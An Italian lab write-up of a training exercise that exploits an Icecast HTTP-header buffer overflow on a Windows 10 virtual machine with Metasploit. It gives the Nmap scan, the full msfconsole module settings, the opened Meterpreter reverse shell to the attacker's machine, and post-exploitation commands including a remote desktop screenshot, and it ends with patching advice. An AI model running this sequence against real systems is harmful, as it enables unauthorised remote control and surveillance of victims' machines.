

Hacking Windows con Icecast

Exploitation tramite Metasploit Framework | S7/L4

1. Obiettivo

Ho svolto questo esercizio con l'obiettivo di ottenere una sessione Meterpreter su un sistema Windows 10 sfruttando una vulnerabilità presente in Icecast, un server di streaming multimediale open source. Una volta stabilita la sessione, ho eseguito due attività di post-exploitation: ho recuperato l'indirizzo IP della vittima tramite il comando `ipconfig` e ho acquisito uno screenshot del desktop remoto tramite il comando `screenshot` di Meterpreter.

2. Configurazione Ambiente

Attaccante	Kali Linux (VM)
IP Attaccante	192.168.56.104
Target	Windows 10 (Build 10240) x64 — DESKTOP-9K1O4BT
IP Target	192.168.56.105
Servizio exploitato	Icecast Streaming Media Server — porta 8000/tcp
Exploit utilizzato	exploit/windows/http/icecast_header
Payload	windows/meterpreter/reverse_tcp
LPORT	4444
Rete	Host-only — 192.168.56.0/24

3. Fasi dell'Attacco

3.1 Ricognizione con Nmap

Ho avviato la fase di ricognizione con una scansione Nmap sul target, utilizzando il flag `-Pn` per bypassare il ping e `-sV` per il rilevamento delle versioni. La scansione ha confermato che Icecast era in ascolto sulla porta 8000/tcp.

```
nmap -sV -sC -Pn 192.168.56.105

PORT STATE SERVICE VERSION
8000/tcp open  http Icecast streaming media server
```

3.2 Configurazione ed esecuzione dell'exploit

Ho avviato Metasploit Framework e selezionato il modulo `exploit/windows/http/icecast_header`, che sfrutta un buffer overflow nell'intestazione HTTP di Icecast. Ho configurato i parametri necessari e ho lanciato l'exploit.

```

msfconsole
msf6 > search icecast
msf6 > use exploit/windows/http/icecast_header
msf6 exploit(windows/http/icecast_header) > set RHOSTS 192.168.56.105
msf6 exploit(windows/http/icecast_header) > set RPORT 8000
msf6 exploit(windows/http/icecast_header) > set LHOST 192.168.56.104
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.56.104:4444
[*] Sending stage (199238 bytes) to 192.168.56.105
[*] Meterpreter session 1 opened (192.168.56.104:4444 -> 192.168.56.105:49452)

```

3.3 Post-Exploitation: IP e Screenshot

Una volta ottenuta la sessione Meterpreter, ho verificato le informazioni di sistema con il comando sysinfo, poi ho recuperato l'indirizzo IP della vittima tramite ipconfig e ho acquisito uno screenshot del desktop remoto.

```

meterpreter > sysinfo
Computer : DESKTOP-9K104BT
OS : Windows 10 (10.0 Build 10240) x64
System Language : it_IT
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

meterpreter > ipconfig
Interface 4 - Intel(R) PRO/1000 MT Desktop Adapter
IPv4 Address : 192.168.56.105
IPv4 Netmask : 255.255.255.0

meterpreter > screenshot
Screenshot saved to: /home/kali/zSvwMlqm.jpeg

```

4. Post-Exploitation

Tramite la sessione Meterpreter ho confermato il pieno controllo del sistema target. Ho verificato che il processo di Meterpreter è in esecuzione nel contesto x86, iniettato nel processo di Icecast. Il sistema risulta essere un Windows 10 con lingua italiana e due utenti attivi al momento dell'accesso. Lo screenshot acquisito ha confermato l'accesso visivo al desktop della vittima, dimostrando la completa compromissione del sistema.

5. Riepilogo Comandi

Comando	Strumento	Scopo
nmap -sV -sC -Pn <TARGET>	Nmap	Scansione porte e rilevamento versioni
search icecast	Metasploit	Ricerca modulo exploit
use exploit/windows/http/icecast_header	Metasploit	Selezione exploit Icecast

set RHOSTS / RPORT / LHOST	Metasploit	Configurazione parametri
run	Metasploit	Avvio exploit e apertura sessione
sysinfo	Meterpreter	Informazioni di sistema
ipconfig	Meterpreter	Indirizzo IP della vittima
screenshot	Meterpreter	Acquisizione screenshot desktop

6. Conclusioni

Ho completato con successo l'esercizio di exploitation su Windows 10 tramite Icecast. Ho sfruttato una vulnerabilità di tipo buffer overflow nel gestore delle intestazioni HTTP di Icecast per ottenere una shell Meterpreter con accesso remoto completo al sistema. L'attività ha dimostrato come un servizio di streaming non aggiornato possa rappresentare un vettore di compromissione critico, consentendo all'attaccante di raccogliere informazioni di rete e acquisire prove visive del controllo ottenuto. Questo tipo di vulnerabilità è mitigabile mantenendo i software aggiornati e limitando l'esposizione di servizi non necessari sulla rete.